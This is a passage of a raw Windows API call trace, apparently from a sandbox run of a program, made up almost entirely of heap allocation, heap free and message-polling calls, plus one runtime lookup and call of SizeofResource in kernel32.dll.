hHeap=0xe80000) returned 1 [0134.048] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf478 | out: hHeap=0xe80000) returned 1 [0134.048] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.048] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0134.048] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.048] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4e8 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9df0 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4b8 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0134.049] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4b8 | out: hHeap=0xe80000) returned 1 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e50 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf458 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076df0 [0134.049] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf458 | out: hHeap=0xe80000) returned 1 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077078 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf478 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fb8 [0134.049] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf478 | out: hHeap=0xe80000) returned 1 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10770a8 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf608 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077048 [0134.049] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf608 | out: hHeap=0xe80000) returned 1 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e98 [0134.049] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf488 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fa0 [0134.050] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf488 | out: hHeap=0xe80000) returned 1 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076dd8 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf518 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ec8 [0134.050] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf518 | out: hHeap=0xe80000) returned 1 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077030 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf508 [0134.050] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf5c8 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076eb0 [0134.050] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f28 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf598 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf518 [0134.050] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ee0 [0134.050] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f28 | out: hHeap=0xe80000) returned 1 [0134.051] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.051] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ee0 | out: hHeap=0xe80000) returned 1 [0134.051] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf518 | out: hHeap=0xe80000) returned 1 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c88 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf488 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f40 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf5e8 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4d8 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ee0 [0134.051] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f40 | out: hHeap=0xe80000) returned 1 [0134.051] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5e8 | out: hHeap=0xe80000) returned 1 [0134.051] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ee0 | out: hHeap=0xe80000) returned 1 [0134.051] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4d8 | out: hHeap=0xe80000) returned 1 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf538 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fe8 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf638 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf598 [0134.051] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e20 [0134.052] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fe8 | out: hHeap=0xe80000) returned 1 [0134.052] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.052] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e20 | out: hHeap=0xe80000) returned 1 [0134.052] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.052] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0134.052] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ee0 [0134.052] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4f8 [0134.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SizeofResource", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0134.052] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xf) returned 0x1076f28 [0134.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SizeofResource", cchWideChar=15, lpMultiByteStr=0x1076f28, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SizeofResource", lpUsedDefaultChar=0x0) returned 15 [0134.052] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f28 | out: hHeap=0xe80000) returned 1 [0134.053] GetProcAddress (hModule=0x770a0000, lpProcName="SizeofResource") returned 0x770b8f80 [0134.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ee0 | out: hHeap=0xe80000) returned 1 [0134.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4f8 | out: hHeap=0xe80000) returned 1 [0134.053] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9f08 [0134.053] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf578 [0134.053] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf608 [0134.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf578 | out: hHeap=0xe80000) returned 1 [0134.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf608 | out: hHeap=0xe80000) returned 1 [0134.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9f08 | out: hHeap=0xe80000) returned 1 [0134.053] SizeofResource (hModule=0x0, hResInfo=0x3776a8) returned 0x65600 [0134.054] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf558 [0134.054] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xefc430 [0134.054] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076e20 [0134.054] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f70 [0134.054] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f88 [0134.054] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ee0 [0134.054] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf5b8 [0134.069] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ee0 | out: hHeap=0xe80000) returned 1 [0134.069] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5b8 | out: hHeap=0xe80000) returned 1 [0134.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f88 | out: hHeap=0xe80000) returned 1 [0134.093] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077060 [0134.093] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ee0 [0134.093] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e38 [0134.093] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf638 [0134.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0134.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ee0 | out: hHeap=0xe80000) returned 1 [0134.094] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ee0 [0134.094] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e38 [0134.094] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f28 [0134.094] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf498 [0134.094] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f28 | out: hHeap=0xe80000) returned 1 [0134.094] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0134.094] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0134.094] FreeLibrary (hLibModule=0x770a0000) returned 1 [0134.094] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf488 | out: hHeap=0xe80000) returned 1 [0134.094] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf538 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076eb0 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5c8 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076df0 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e50 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fb8 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077078 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077048 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770a8 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fa0 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ec8 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076dd8 | out: hHeap=0xe80000) returned 1 [0134.095] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077030 | out: hHeap=0xe80000) returned 1 [0134.096] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9df0 | out: hHeap=0xe80000) returned 1 [0134.096] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4f8 [0134.096] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f40 [0134.096] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4f8 | out: hHeap=0xe80000) returned 1 [0134.096] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f40 | out: hHeap=0xe80000) returned 1 [0134.096] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f70 | out: hHeap=0xe80000) returned 1 [0134.096] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077060 | out: hHeap=0xe80000) returned 1 [0134.096] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ee0 | out: hHeap=0xe80000) returned 1 [0134.096] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e20 | out: hHeap=0xe80000) returned 1 [0134.097] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0134.097] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf558 | out: hHeap=0xe80000) returned 1 [0134.097] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4e8 | out: hHeap=0xe80000) returned 1 [0134.097] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0134.097] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.097] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0134.097] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0134.097] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4a8 [0134.097] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0134.097] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4a8 | out: hHeap=0xe80000) returned 1 [0134.097] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.097] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0134.098] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b98 | out: hHeap=0xe80000) returned 1 [0134.098] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.098] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf478 [0134.098] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf478 | out: hHeap=0xe80000) returned 1 [0134.098] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.098] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e68 [0134.098] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0134.098] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf638 [0134.098] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5d8 [0134.098] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0134.098] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0134.098] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5d8 | out: hHeap=0xe80000) returned 1 [0134.098] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.098] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0134.098] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b70 [0134.098] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf638 [0134.098] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0134.098] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.099] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0134.099] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e68 | out: hHeap=0xe80000) returned 1 [0134.099] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b70 | out: hHeap=0xe80000) returned 1 [0134.099] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.099] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0134.100] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.100] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0134.100] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.100] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4c8 [0134.100] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4e8 [0134.100] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055650 [0134.100] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0134.100] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4e8 | out: hHeap=0xe80000) returned 1 [0134.100] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4c8 | out: hHeap=0xe80000) returned 1 [0134.100] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0134.100] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.101] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0134.157] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c88 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5d8 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5f8 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4e8 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0134.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4e8 | out: hHeap=0xe80000) returned 1 [0134.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0134.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0134.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5f8 | out: hHeap=0xe80000) returned 1 [0134.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5d8 | out: hHeap=0xe80000) returned 1 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf578 [0134.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0134.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0134.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0134.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b98 | out: hHeap=0xe80000) returned 1 [0134.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf578 | out: hHeap=0xe80000) returned 1 [0134.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0134.159] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.159] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf608 [0134.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5e8 [0134.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0134.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0134.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5e8 | out: hHeap=0xe80000) returned 1 [0134.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf608 | out: hHeap=0xe80000) returned 1 [0134.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0134.160] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0134.160] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf568 [0134.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf598 [0134.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0134.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0134.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf568 | out: hHeap=0xe80000) returned 1 [0134.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0134.161] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0134.161] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf478 [0134.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf648 [0134.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0134.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0134.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf648 | out: hHeap=0xe80000) returned 1 [0134.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf478 | out: hHeap=0xe80000) returned 1 [0134.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0134.161] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0134.162] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, 